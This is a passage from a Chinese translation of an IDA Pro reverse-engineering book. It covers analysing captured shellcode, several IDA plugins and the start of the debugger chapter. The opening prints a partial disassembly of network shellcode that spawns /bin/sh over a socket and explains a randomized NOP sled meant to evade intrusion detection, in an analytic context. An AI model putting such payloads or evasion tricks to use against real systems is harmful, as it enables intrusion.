000000A0 53 53 B0 3B CD 80 41 41 49 47 41 93 97 97 4B 48 SS.;..AAIGA...KH


这个数据包明显包含 ASCII 和二进制数据的混合,并且根据与这个特定网络连接相关的其他数据,可以假设二进制数据是 shellcode。像 Wireshark^([199])这样的数据包分析工具通常具有直接将 TCP 会话内容提取到文件的能力。在 Wireshark 的情况下,一旦找到感兴趣的 TCP 会话,可以使用`Follow TCP Stream`命令,然后将原始流内容保存到文件中。生成的文件可以随后加载到 IDA(使用 IDA 的二进制加载器)中,进行进一步分析。通常,网络攻击会话包含 shellcode 和应用层内容的混合。为了正确反汇编 shellcode,必须正确定位攻击者有效载荷的第一字节。完成这一任务的难度会因攻击和协议的不同而有所不同。在某些情况下,长的 NOP 滑块会很明显(对于 x86 攻击,是长序列的`0x90`),而在其他情况下(例如当前示例),定位 NOP 以及因此 shellcode 可能不那么明显。例如,前面的十六进制转储实际上包含一个 NOP 滑块;然而,它使用的是随机生成的 1 字节指令序列,这些指令对后续的 shellcode 没有影响。由于这样的 NOP 滑块存在无限多种排列组合,网络入侵检测系统识别并对此发出警报的危险性降低。最后,对正在被攻击的应用程序的一些了解可能有助于区分旨在由应用程序消费的数据元素和旨在执行的 shellcode。在这种情况下,经过一点努力,IDA 将前面的二进制内容反汇编成如下所示:

seg000:00000000 db 0ADh ; ¡
seg000:00000001 db 2
seg000:00000002 db 0Eh
seg000:00000003 db 8
seg000:00000004 db 1
seg000:00000005 db 0
seg000:00000006 db 0
seg000:00000007 db 0
seg000:00000008 ; --------------------------------------------------------------
seg000:00000008 inc edi
seg000:00000009 inc ebx
seg000:0000000A dec esi
... ; NOP slide and shellcode initialization omitted
seg000:0000006D push edx
seg000:0000006E push edx
seg000:0000006F
seg000:0000006F loc_6F: ; CODE XREF: seg000:0000007E↓j
seg000:0000006F inc word ptr [esi-18h]
seg000:00000073 push 1Dh
seg000:00000075 pop eax
seg000:00000076 int 80h ; LINUX - sys_pause
seg000:00000078 cmp dword ptr [esi], 4B434148h
seg000:0000007E jnz short loc_6F
seg000:00000080 pop edx
seg000:00000081 pop edi
seg000:00000082 push 2
seg000:00000084 pop ecx
seg000:00000085
seg000:00000085 loc_85: ; CODE XREF: seg000:0000008F↓j
seg000:00000085 push 5Ah ; 'Z'
seg000:00000087 pop eax
seg000:00000088 cdq
seg000:00000089 push ecx
seg000:0000008A push edi
seg000:0000008B push ecx
seg000:0000008C int 80h ; LINUX - old_mmap
seg000:0000008E dec ecx
seg000:0000008F jns short loc_85
seg000:00000091 push edx
seg000:00000092 push 'hs//'
seg000:00000097 push 'nib/'
... ; continues to invoke execve to spawn the shell


值得注意的是,流的前 8 个字节![httpatomoreillycomsourcenostarchimages854061.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)实际上是协议数据,而不是 shellcode,因此我们选择不对其进行反汇编。此外,IDA 似乎在![httpatomoreillycomsourcenostarchimages854063.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)和![httpatomoreillycomsourcenostarchimages854093.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)处识别的系统调用有误。我们省略了这一事实,即这个漏洞利用目标是针对 FreeBSD 应用程序的,这有助于解码有效载荷中使用的系统调用编号。由于 IDA 只能注释 Linux 的系统调用编号,我们不得不进行一些研究来了解 FreeBSD 的系统调用`29`(`1dh`)实际上是`recvfrom`(而不是`pause`),系统调用`90`(`5Ah`)实际上是`dup2`函数(而不是`old_mmap`)。

由于它缺少 IDA 有用的任何头部信息,shellcode 通常需要额外的关注才能正确反汇编。此外,shellcode 编码器经常被用作绕过入侵检测系统的手段。这样的编码器产生的效果与混淆工具对标准二进制文件的效果非常相似,进一步复杂化了 shellcode 反汇编的过程。

* * *

^([199]) 查看 [`www.wireshark.org/`](http://www.wireshark.org/).

# 摘要

请记住,IDA 并不是一个能够让你从二进制文件中直接发现漏洞的万能工具。如果你的最终目标是仅使用 IDA 进行漏洞分析,那么最大限度地自动化你的工作将是明智之举。在开发分析二进制文件的算法时,你应该始终考虑如何自动化这些算法,以便在未来的分析任务中节省时间。最后,重要的是要理解,阅读所有最好的书籍并不能让你在漏洞分析和漏洞利用开发方面变得精通。如果你有兴趣提高你的技能,你必须进行实践。许多网站提供针对这一目的的练习挑战;一个很好的起点是[`www.overthewire.org/wargames/`](http://www.overthewire.org/wargames/)上的 Wargames 部分。

# 第二十三章。现实世界的 IDA 插件

![无标题图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854059.png.jpg)

由于 IDA 多年来被用于各种用途,因此不会令人惊讶的是,已经开发了大量插件来添加人们在其特定 IDA 应用中找到的有用功能。如果你决定想利用他人的工作,要知道没有一家商店可以提供所有公开可用的插件。你可能找到插件参考的三个主要位置是 Hex-Rays 下载页面^([200]), OpenRCE 下载页面^([201]), 和 RCE 逆向工程论坛^([202])。当然,花点时间使用 Google 也不会有害。

就像任何其他公开可用的软件一样,在尝试安装第三方插件时,你可能会遇到一些挑战。在插件开发者选择发布他们的努力的情况下,插件以源代码、编译的二进制文件或两者兼有的形式分发。如果被迫从源代码构建,你必须处理插件作者提供的 make 文件(或等效文件),这些文件可能与你的特定编译器配置不兼容。另一方面,如果插件以二进制形式分发,它可能使用了与你的 IDA 版本不兼容的 SDK 版本,这意味着你将无法运行该插件,直到作者选择发布更新版本。最后,插件可能具有外部依赖项,这些依赖项必须满足才能构建、运行或两者兼而有之。

在本章中,我们将回顾几个流行的 IDA 插件;它们的目的;如何获取它们;以及如何构建、安装和使用它们。

# Hex-Rays

或许是所有 IDA 插件中的“老大哥”,Hex-Rays 是一个能够为编译的 ARM 或 32 位 x86 二进制文件中的函数生成“类似 C 的伪代码”^([203])的反汇编插件。Hex-Rays 是由生产 IDA 的同一公司创建和销售的商业插件。反汇编器适用于 IDA 的所有 32 位版本。Hex-Rays 仅以二进制形式提供,安装是通过将提供的插件复制到*<IDADIR>/plugins*目录来完成的。在线上可提供 Hex-Rays 的使用手册^([204]), 该手册提供了使用 Hex-Rays 的精彩概述,并包含用于创建反汇编插件的 Hex-Rays SDK^([205])的一些文档。

安装完成后,可以通过 View ▸ Open Subviews ▸ Pseudocode(快捷键 F5)激活反汇编器来反汇编包含光标的函数,或者通过 File ▸ Produce File ▸ Create C File(快捷键 ctrl-F5)来反汇编数据库中的所有函数并将它们保存到文件中。

当你为单个函数生成伪代码时,IDA 显示中会打开一个新的子视图(标签窗口),其中包含反汇编的函数。示例 23-1 展示了使用 Hex-Rays 生成用于检查 Defcon 15 Capture the Flag 二进制的伪代码的示例。每次为函数生成伪代码时,Hex-Rays 都会打开一个新的标签窗口来显示结果。

示例 23-1. Hex-Rays 输出示例

signed int __cdecl sub_80489B4(int fd)
{
int v1; // eax@1
signed int v2; // edx@1
char buf; // [sp+4h] [bp-208h]@2
char s; // [sp+104h] [bp-108h]@2

v1 = sub_8048B44(fd, (int)"Hans Brix? Oh no! Oh,
herro. Great to see you again, Hans! ", 0);
v2 = −1;
if ( v1 != −1 )
{
recv(fd, &buf, 0x100u, 0);
snprintf(&s, 0x12Cu, "Hans Brix says: "%s"\n", &buf);
sub_8048B44(fd, (int)&s, 0);
v2 = 0;
}
return v2;
}


注意,尽管 Hex-Rays 在参数(`a1`、`a2`等)和局部变量(`v1`、`v2`)的占位符命名约定上与 IDA 略有不同,但区分函数参数和局部变量的能力仍然存在。如果你在反汇编中更改了任何变量的名称,反汇编器将使用这些名称而不是内部生成的占位符名称。

| **名称** | Hex-Rays 反汇编器 |
| --- | --- |
| **作者** | Ilfak Guilfanov, [Hex-Rays.com](http://hex-rays.com) |
| **分发** | 仅二进制 |
| **价格** | 美元 2,239 |
| **描述** | 从编译的 ARM 或 32 位、x86 函数生成类似 C 的伪代码 |
| **信息** | [`www.hex-rays.com/decompiler.shtml`](http://www.hex-rays.com/decompiler.shtml) |

Hex-Rays 使用与 IDA 相同的提示来推断数据类型;然而,你可能注意到在进行操作时类型不匹配 Hex-Rays 预期的情况时,会发生一些类型转换。为了方便,你可以通过右键单击并选择隐藏类型转换菜单选项来告诉 Hex-Rays 隐藏所有类型转换。

一旦打开伪代码窗口,你就可以几乎像使用源代码编辑器和导航器一样使用它。在伪代码窗口中进行导航和编辑与在标准 IDA 反汇编窗口中进行导航和编辑非常相似。例如,双击一个函数名,会立即在伪代码窗口中反汇编选定的函数。许多编辑功能都可通过上下文相关菜单获得,如图图 23-1 所示,包括更改变量和函数名称和类型的能力。

![Hex-Rays 反汇编编辑选项](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854344.png)

图 23-1. Hex-Rays 反汇编编辑选项

此外,你对变量名、函数名和数据类型所做的更改会传播回 IDA 的反汇编窗口。通过重复应用重命名和设置类型,并通过隐藏类型转换,示例 23-1 可以轻松地转换为以下内容。

signed int __cdecl sub_80489B4(int fd)
{
int length; // eax@1
signed int error; // edx@1
char buf[256]; // [sp+4h] [bp-208h]@2
char s[264]; // [sp+104h] [bp-108h]@2

length = write_string(fd, "Hans Brix? Oh no! Oh, herro.
Great to see you again, Hans! ", 0);
error = −1;
if ( length != −1 )
{
recv(fd, buf, 256u, 0);
snprintf(s, 300u, "Hans Brix says: "%s"\n", buf);
write_string(fd, s, 0);
error = 0;
}
return error;
}


请记住,在编译过程中信息会丢失。对于任何非外部符号,没有必要保留符号信息,编译器优化通常会删除冗余并简化代码。因此,除了广泛使用类型转换外,你可能会在生成的伪代码中注意到比通常在人类编写的 C 代码中预期的更多`goto`语句。这并不意外,因为将编译器生成的控制流整齐地映射回其原始的 C 形式通常非常困难。然而,Hex-Rays 能够识别复杂的 C 结构,如`switch`语句,并且已经投入了大量工作来识别各种 C 编译器使用的标准代码序列。

尽管 Hex-Rays 具有所有这些功能,但鼓励您不要过度依赖 Hex-Rays。C 源代码当然比其相应的汇编表示更容易阅读和更简洁,但反编译并不是一门完美的科学。在阅读 Hex-Rays 伪代码时,您是在信任您所看到的是底层汇编的忠实表示,尽管 Ilfak 非常努力确保 Hex-Rays 尽可能准确,但肯定存在一些边缘情况可能会对 Hex-Rays 造成问题。强烈建议您通过验证底层汇编代码来支持您从阅读 Hex-Rays 伪代码中得出的任何结论。最后,请记住,尽管 Hex-Rays 可以用于从 C++代码编译的二进制文件,但它只能生成 C 代码,并且生成的代码将缺少任何特定于 C++的特性。

* * *

^([200]) 请参阅 [`www.hex-rays.com/idapro/idadown.htm`](http://www.hex-rays.com/idapro/idadown.htm).

^([201]) 请参阅 [`www.openrce.org/downloads/`](http://www.openrce.org/downloads/).

^([202]) 请参阅 [`www.woodmann.com/forum/index.php`](http://www.woodmann.com/forum/index.php).

^([203]) 请参阅 [`www.hex-rays.com/decompiler.shtml`](http://www.hex-rays.com/decompiler.shtml).

^([204]) 请参阅 [`www.hex-rays.com/manual/`](http://www.hex-rays.com/manual/).

^([205]) 请参阅 [`www.hexblog.com/?p=107`](http://www.hexblog.com/?p=107). 请注意不要与 IDA SDK 混淆。

# IDAPython

IDAPython 最初是由 Gergely Erdelyi 开发的第三方 IDA 插件,在第十五章中有更详细的介绍。它在 IDA 用户中的普及迅速,自 IDA 5.4 以来,IDAPython 已作为标准插件随所有版本的 IDA 一起提供。尽管如此,IDAPython 仍然作为一个开源项目提供,您可以下载并修改以满足您的需求。

在 IDAPython 源代码中包含的 *BUILDING.txt* 文件中提供了构建 IDAPython 的说明,而安装说明可在 IDAPython 网站上找到。如果您选择从源代码构建 IDAPython,必须满足一系列依赖项。首先,需要有一个 32 位 Python 的有效安装。建议 Windows 和 OS X 用户使用 Python 网站上提供的安装程序之一来获取和安装 Python.^([206]) Linux 用户通常可以使用适用于其 Linux 版本的 32 位 Python 版本。请注意,截至本文撰写时,IDAPython 与 Python 版本 3.*x* 不兼容。

| **名称** | IDAPython |
| --- | --- |
| **作者** | Gergely Erdelyi |
| **分发** | 源代码和二进制文件(IDA 也附带二进制版本) |
| **价格** | 免费 |
| **描述** | IDA Pro 的 Python 脚本引擎 |
| **信息** | [`code.google.com/p/idapython/`](http://code.google.com/p/idapython/) |

随 IDAPython 一起提供的 Python 构建脚本 *build.py* 使用简化包装器接口生成器 (SWIG)^([207]) 生成将 Python 与 IDA 的 C++ 库接口所需的组件,以及随 IDA SDK 一起提供的头文件(自 5.4 版本起)包含许多宏声明,以确保它们与 SWIG 兼容。除了 SWIG 之外,构建过程还需要一个 C++ 编译器。对于 Windows 构建,构建脚本配置为使用 Microsoft Visual C++^([208]),而对于 Linux 和 Mac 构建,构建过程使用 g++。

* * *

^([206]) 请参阅 [`www.python.org/`](http://www.python.org/)。

^([207]) 请参阅 [`www.swig.org/`](http://www.swig.org/)。

^([208]) 要获取免费、精简版的 Visual C++,请访问 [`www.microsoft.com/express/`](http://www.microsoft.com/express/)。

# collabREate

collabREate 插件旨在促进多个用户分析同一二进制文件之间的协作。该项目的目标是提供一种自然集成表示同步客户端的插件组件与一个由 SQL 数据库支持的强大服务器组件,并且能够支持超出简单数据库同步的功能。

| **名称** | collabREate |
| --- | --- |
| **作者** | Chris Eagle 和 Tim Vidas |
| **分发** | C++ 源代码和二进制文件(包括 IDA 免费软件) |
| **价格** | 免费 |
| **描述** | 用于同步远程 IDA 会话的协作框架 |
| **信息** | [`www.idabook.com/collabreate/`](http://www.idabook.com/collabreate/) |

从一个高层次的角度来看,collabREate 在很大程度上得益于 IDA Sync 项目。^[[209]) collabREate 插件处理数据库更新并与远程服务器组件通信,以同步数据库更新与项目其他成员。由于 IDA 是一个单线程应用程序,因此需要某种机制来处理异步非阻塞网络通信。在 IDA 6.0 之前的版本中,异步通信组件来自 IDA Sync 使用的 Windows 异步套接字技术;然而,随着 IDA 6.0 的引入,异步通信现在使用 Qt 套接字类进行处理,这使得 collabREate 可以在所有 IDA 支持的平台中使用。

CollabREate 通过利用 IDA 的进程和 IDB 事件通知机制,采取了一种综合的方法来捕获用户操作。通过挂钩各种数据库更改通知,collabREate 能够无缝地将数据库更新传播到 collabREate 服务器。随着 IDA 的每次发布,IDA 生成的更改通知的类型和数量都在增长,collabREate 努力为它构建的 IDA 版本尽可能多地挂钩有用的通知。使用 collabREate 的一个有趣副作用是,它允许使用不同版本 IDA 的用户(例如 5.2 和 6.0)即使无法相互交换 *.idb* 文件,也能同步他们的活动。^[[210]) collabREate 架构为参与用户提供了真正的发布和订阅功能。用户可以选择性地将她的更改发布到 collabREate 服务器,订阅服务器上发布的更改,或者两者都进行发布和订阅。例如,一个经验丰富的用户可能希望与一个组共享(发布)她的更改,同时阻止(不订阅)其他用户所做的所有更改。用户可以选择他们可以发布和订阅的操作类型,例如字节值更改、名称更改以及注释的添加或删除。例如,一个用户可能只想发布注释,而另一个用户可能只想订阅名称更改和修补字节通知。

collabREate 插件最显著的特点之一是其与 IDA SDK 的集成程度。IDA 通知与特定的数据库操作相关联,而不是与特定的用户操作相关联。用户操作恰好触发 IDA 通知这一事实,当然对于协作过程至关重要;然而,通知也可以通过其他方式触发。脚本和 API 函数调用也可以生成通知消息。因此,修改数据库字节、重命名位置或变量或插入新注释的脚本操作将被发布到 collabREate 服务器,并最终与其他在同一项目上工作的 IDA 用户共享。

collabREate 服务器组件目前是用 Java 实现的,并使用 JDBC^([211]) 与后端 SQL 数据库进行通信。服务器负责用户和项目管理。用户账户通过服务器命令行界面进行管理,而项目则由用户在连接到服务器时创建。在通过服务器认证后,用户的 collabREate 插件会将用户正在分析的输入文件的 MD5 哈希值发送到服务器。MD5 值用于确保多个用户实际上正在处理相同的输入文件。在初次连接时,用户会指出他们希望订阅的更新类型,此时服务器将自用户上次会话以来缓存的全部更新转发给用户。CollabREate 的项目选择对话框如图 图 23-2 所示。

![CollabREate 项目选择对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854347.png.jpg)

图 23-2. CollabREate 项目选择对话框

用户会看到一个与当前数据库兼容的项目下拉列表。作为一个选项,始终可以创建一个需要用户输入项目描述以供他人查看的新项目。

collabREate 服务器能够创建现有项目的分支,以便用户在不影响其他用户的情况下创建项目的替代分支。如果您想在不对其他用户施加这些更改的情况下对数据库进行大量修改(并跟踪这些更改),这是一个非常有用的功能。由于服务器能够处理与单个二进制输入文件相关的多个项目,插件和服务器会采取额外的步骤以确保用户连接到他们特定数据库的正确项目。

服务器不提供回滚功能,但提供了一种形式的“保存点”。可以在任何时候创建快照;然后,为了返回到该数据库状态,用户可以重新打开二进制文件(新的 *.idb* 文件)并从快照中创建一个新的项目。这使用户能够在回滚过程中返回到特定的时间点。CollabREate 的分支和快照功能通过与插件初始激活相同的快捷键序列访问,这导致显示如图 图 23-3 所示的对话框。

![CollabREate Select Command 对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854350.png)

图 23-3. CollabREate 选择命令对话框

collabREate 服务器的一个最终特性是能够限制用户对特定类型的更新。例如,一个用户可能被限制为仅订阅配置文件,而另一个用户可能只允许发布评论,第三个用户则允许发布所有类型的更新。

* * *

^([209]) 请参阅 [`pedram.redhive.com/code/ida_plugins/ida_sync/`](http://pedram.redhive.com/code/ida_plugins/ida_sync/)。

^([210]) IDA 的旧版本通常无法打开使用 IDA 新版本创建的 *.idb* 文件。

^([211]) *JDBC* 是 Java 数据库连接 API。

# ida-x86emu

反汇编二进制文件通常涉及手动跟踪代码,以便了解函数的行为。为了做到这一点,你需要对你正在分析的指令集有一个扎实的理解,并在遇到不熟悉的指令时有一个方便的参考资料来刷新你的记忆。指令模拟器可以是一个有用的工具,用于跟踪一系列指令中发生的所有寄存器和 CPU 状态变化。ida-x86emu 插件,如第二十一章详细讨论的,以及其信息在此再次显示,就是这样一种模拟器。

| **名称** | ida-x86emu |
| --- | --- |
| **作者** | Chris Eagle |
| **分发** | SDK v6.1 的源代码以及 IDA 5.0 及以上所有版本的二进制文件,包括 IDA 免费版。源代码与 SDK 版本 4.9 兼容。 |
| **价格** | 免费 |
| **描述** | IDA 的嵌入式 x86 指令模拟器 |
| **信息** | [`www.idabook.com/ida-x86emu/`](http://www.idabook.com/ida-x86emu/) |

此插件以源代码和二进制形式分发,且与 IDA SDK 4.6 及更高版本兼容。插件附带构建脚本和项目文件,以便在 Windows 平台上使用 MinGW 工具或 Microsoft Visual Studio 以及在非 Windows 平台上使用 g++ 进行构建。分发中包含用于与 IDA 免费版一起使用的插件预编译二进制版本。ida-x86emu 与所有基于 Qt 的 IDA 版本兼容;然而,在 IDA 6.0 之前,该插件仅与 IDA 的 Windows 图形界面版本兼容。

该插件考虑到自修改代码的开发,通过从当前 IDA 数据库读取指令字节、解码指令并执行相关操作来运行。操作可能涉及更新模拟器的内部寄存器变量或在自修改代码的情况下将数据写回数据库。通过分配新的 IDA 段并按需读取和写入,实现了模拟堆栈和堆。有关使用 ida-x86emu 的更详细信息,请参阅 第二十一章。

# 类信息

回想一下 第八章,C++ 程序可能包含有助于您恢复类名和类层次结构的信息。这种嵌入信息旨在支持 C++ 运行时类型识别 (RTTI)。Sirmabus 设计的 C++ Class Informer 插件旨在帮助逆向工程使用 Microsoft Visual Studio 编译的 C++ 代码。Class Informer 通过识别虚拟函数表(vtable 或 vftable)和 RTTI 信息,然后提取相关的类名和继承信息,自动化了 Igor Skochinsky 在其 OpenRCE 文章中描述的许多过程,该文章讨论了逆向工程 Microsoft Visual C++^([212])。

| **名称** | Class Informer |
| --- | --- |
| **作者** | Sirmabus |
| **分发** | 仅二进制 |
| **价格** | 免费 |
| **描述** | MSVC C++ 类标识符 |
| **下载** | [`www.macromonkey.com/downloads/IDAPlugIns/Class_Informer102.zip`](http://www.macromonkey.com/downloads/IDAPlugIns/Class_Informer102.zip) |

激活后,Class Informer 显示如图 图 23-4 所示的选项对话框,允许用户指定 Class Informer 应在二进制文件中的何处扫描 vtable,并允许用户控制 Class Informer 输出的详细程度。

![Class Informer 选项对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854353.png.jpg)

图 23-4。Class Informer 选项对话框

当用户点击继续后,Class Informer 开始扫描,这可能需要一些时间,具体取决于二进制文件的大小和 Class Informer 遇到的虚拟函数表数量。扫描完成后,Class Informer 在 IDA 中打开一个新的标签窗口,以总结其发现。这里显示的是 Class Informer 输出的部分列表,具有代表性。

Vftable Method count Class & structure info
0041A298 0003 ChildClass; [MI]
0041A2A8 0003 ChildClass: SuperClass1, SuperClass2; [MI]
0041A2B8 0003 SuperClass1; [SI]
0041A2C8 0003 SuperClass2; [SI]
0041A2D8 0004 BaseClass; [SI]
0041A2EC 0005 SubClass: BaseClass; [SI]


对于每个发现的虚拟函数表,Class Informer 会显示 vtable 的地址 ![httpatomoreillycomsourcenostarchimages854061.png],方法计数 ![httpatomoreillycomsourcenostarchimages854063.png](等于 vtable 中包含的功能指针数量),以及从嵌入的 RTTI 信息中派生出的每个类的摘要信息 ![httpatomoreillycomsourcenostarchimages854093.png]。恢复的类信息包括类的名称、任何超类的名称,以及类是否从单个基类(`[SI]`)或多个基类(`[MI]`)继承的指示。对于每个发现的 vtable,Class Informer 还会将结构模板应用于与类相关的所有 RTTI 相关的数据结构,并根据微软的名称混淆方案对每个结构和类的 vtable 进行命名。这为可能正在逆向工程任何复杂性的 Visual C++ 代码的人节省了大量时间。

* * *

^([212]) 请参阅 [`www.openrce.org/articles/full_view/23`](http://www.openrce.org/articles/full_view/23)。

# MyNav

虽然严格来说不是一个插件,但 Joxean Koret 的 Python 脚本,被称为*MyNav*,确实可以算作一个有用的 IDA 扩展,其有用性足以使 MyNav 在 2010 年 Hex-Rays 插件编写比赛中获得第一名.^([213]) 在加载二进制文件并完成初始自动分析后,应启动*mynav.py*脚本。启动后,MyNav 将为 IDA 的 Edit ▸ Plugins 菜单添加 20 个新的菜单选项,此时您就可以利用许多新功能了。

| **名称** | MyNav |
| --- | --- |
| **作者** | Joxean Koret |
| **分发** | Python 源代码 |
| **价格** | 免费 |
| **描述** | 调试跟踪和代码覆盖率工具 |
| **信息** | [`code.google.com/p/mynav/`](http://code.google.com/p/mynav/) |

MyNav 增加的功能包括一个受 Zynamics 的 BinNavi 启发的函数级(而非基本块级)图形浏览器,以及显示任何两个函数之间代码路径等额外的绘图功能,还有许多旨在增强 IDA 调试能力的功能。

对于调试,MyNav 记录调试会话的信息,并允许您使用一个调试会话的结果作为后续会话的过滤器。在任意调试会话之后,MyNav 会显示一个图表,仅突出显示会话期间执行的那些函数。利用 MyNav 提供的功能,可以快速缩小负责程序中特定操作的函数集。例如,如果您对负责启动网络连接并下载某些内容的函数感兴趣,您可能创建一个不启动网络连接的会话,然后进行第二个会话以创建网络连接。通过排除第一次调试会话期间执行的所有函数,生成的图表将仅包含负责启动网络连接的函数。如果您正在尝试描述具有非常大的二进制文件的函数,这个功能非常有用。

关于 MyNav 功能的全面讨论,请参阅 Joxean 的博客,^([214]),在那里您可以找到一些视频教程,展示了 MyNav 的一些功能。

* * *

^([213]) 请参阅 [`www.hex-rays.com/contest2010/#mynav`](http://www.hex-rays.com/contest2010/#mynav)。

^([214]) 请参阅 [`www.joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/`](http://www.joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/)。

# IdaPdf

基于文档的恶意软件变得越来越普遍。恶意 PDF 文件是设计用来利用文档查看软件漏洞的文档文件的一个例子。分析恶意 PDF 文件(或任何文档文件)需要你了解你正在分析文件的结构。在分解此类文件的结构的分析中,你的目标通常是发现任何可能被成功利用以损害查看该文档的计算机的嵌入式代码。现有的少数 PDF 分析工具主要针对命令行用户,目标是简化可能最终被加载到 IDA 中进行进一步分析的信息提取。

| **名称** | IdaPdf |
| --- | --- |
| **作者** | Chris Eagle |
| **分发** | C++源代码 |
| **价格** | 免费 |
| **描述** | 用于分解和导航 PDF 文件的 PDF 加载器和插件 |
| **信息** | [`www.idabook.com/idapdf/`](http://www.idabook.com/idapdf/) |

IdaPdf 由 IDA 加载模块和 IDA 插件模块组成,每个模块都旨在简化 PDF 文件的分析。IdaPdf 的加载组件识别 PDF 文件并将它们加载到新的 IDA 数据库中。加载组件负责将 PDF 分解为其各个组件。在加载过程中,加载组件会尽力提取和过滤所有 PDF 流对象。由于加载模块在加载过程完成后会卸载,因此需要一个第二个组件,即 IdaPdf 插件,以提供超出初始加载的 PDF 分析功能。插件模块在识别到已加载 PDF 文件后,会列出文件中包含的所有 PDF 对象,并打开一个新标签窗口,其中包含 PDF 中每个对象的列表。以下列表是 PDF 对象窗口中包含的信息类型的示例。

Num Location Type Data Offs Data size
Filters Filtered stream Filtered size Ascii
17 000e20fe Stream 000e2107 313 /FlateDecode
000f4080 210 No
35 00000010 Dictionary 00000019 66
Yes
36 000002a3 Dictionary 000002ac 122
Yes
37 0000032e Stream 00000337 470 [/FlateDecode]
000f4170 1367 Yes


列表中显示了对象的编号以及对象的位置、对象的数据、必须应用于流对象的任何过滤器,以及指向提取的、未过滤数据的指针。上下文相关菜单选项允许轻松导航以查看对象数据或任何提取的过滤数据。通过上下文相关菜单选项,还可以提供提取对象数据(无论是原始的还是过滤的)的机会。Ascii 列指示插件对其最佳判断,即对象在其原始或过滤版本中是否仅包含 ASCII 数据。

当启动 IdaPdf 时,通过在“编辑”▸“其他”下添加两个新的菜单选项,暴露了 IdaPdf 实现的最后一些功能。这些菜单选项允许你在数据库中突出显示一块数据,然后要求插件对数据进行 Base64 解码或取消转义^([215)),结果将被复制到 IDA 中的新部分。这种未编码的数据通常会变成 PDF 中包含的恶意有效载荷。由于插件将此数据提取到新的 IDA 段中,因此导航到提取的数据并要求 IDA 反汇编其中的一部分或全部是非常直接的。

* * *

^([215)) 插件实现了 JavaScript 取消转义函数。

# 摘要

每当你发现自己希望 IDA 能够执行某些任务时,你应该花点时间想想是否其他人可能也有同样的愿望,更进一步,是否有人已经采取了措施来实现缺失的功能。许多 IDA 插件正是这种努力的结果。绝大多数公开可用的插件都很短小精悍,旨在解决特定问题。除了作为解决你的逆向工程问题的潜在解决方案外,那些源代码可用的插件还可以作为 IDA SDK 有趣用途的有价值参考。


# 第六部分。IDA 调试器

# 第二十四章。IDA 调试器

![无标题图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854059.png.jpg)

IDA 最广为人知的是反汇编器,它显然是用于对二进制文件进行静态分析的最佳工具之一。鉴于现代反静态分析技术的复杂性,将静态分析工具和技术与动态分析工具和技术相结合以利用两者的优点并不罕见。理想情况下,所有这些工具都应集成在一个单一包中。当 Hex-Rays 在 IDA 4.5 版本中引入调试器时,它实现了这一举措,并巩固了 IDA 作为通用逆向工程工具的角色。随着 IDA 每个后续版本的发布,其调试功能得到了改进。在其最新版本中,IDA 能够对多种不同平台上的本地和远程调试进行操作,并支持多种不同的处理器。IDA 还可以配置为充当 Microsoft 的 WinDbg 调试器的前端,从而实现 Windows 内核调试。

在接下来的几章中,我们将介绍 IDA 调试器的基本功能,使用调试器协助进行代码混淆分析以及远程调试 Windows、Linux 或 OS X 二进制文件。虽然我们假设读者对调试器的使用有一定了解,但我们将在介绍 IDA 调试器功能的过程中回顾调试器的一般基本功能。

# 启动调试器

调试器通常用于执行以下两项任务之一:检查与崩溃进程相关的内存映像(核心转储)以及在非常受控的方式下执行进程。典型的调试会话从选择要调试的进程开始。这通常有两种方法。首先,大多数调试器能够*附加*到正在运行的进程(假设用户有权限这样做)。根据所使用的调试器,调试器本身可能能够显示一个可供选择的过程列表。如果没有这种能力,用户必须确定他希望附加的进程的 ID,然后命令调试器附加到指定的进程。调试器附加到进程的确切方式因操作系统而异,超出了本书的范围。当附加到现有进程时,无法监控或控制进程的初始启动序列,因为所有启动和初始化代码在您有机会附加到进程之前就已经完成。

使用 IDA 调试器附加到进程的方式取决于是否打开了数据库。当没有打开数据库时,调试器▸附加菜单是可用的,如图图 24-1 所示。

![连接到任意进程](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854356.png.jpg)

图 24-1. 连接到任意进程

可用的选项允许选择不同的 IDA 调试器(远程调试在第二十六章中介绍)。选项取决于您在哪个平台上运行 IDA。选择本地调试器会导致 IDA 显示一个可以附加的运行进程列表。图 24-2 显示了此类列表的一个示例。

![调试器进程选择对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854359.png.jpg)

图 24-2. 调试器进程选择对话框

一旦选择了进程,调试器将通过获取运行进程的内存快照来创建一个临时数据库。除了运行进程的内存映像外,临时数据库还包含由进程加载的所有共享库的部分,这导致数据库比您可能习惯的要大得多且更杂乱。以这种方式连接到进程的一个缺点是,IDA 由于加载器从未处理相应的可执行文件映像,并且从未执行过二进制的自动分析,因此对进程的解汇编信息较少。实际上,一旦调试器连接到进程,二进制中将被解汇编的唯一指令是指令指针引用的指令以及从它流出的指令。连接到进程会立即暂停进程,让您有机会在恢复进程执行之前设置断点。

另一种连接到正在运行的进程的方法是在尝试连接到正在运行的进程之前,在 IDA 中打开相关的可执行文件。在打开数据库的情况下,调试器菜单将呈现出完全不同的形式,如图 24-3 所示。

![打开数据库时的调试器菜单](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854362.png.jpg)

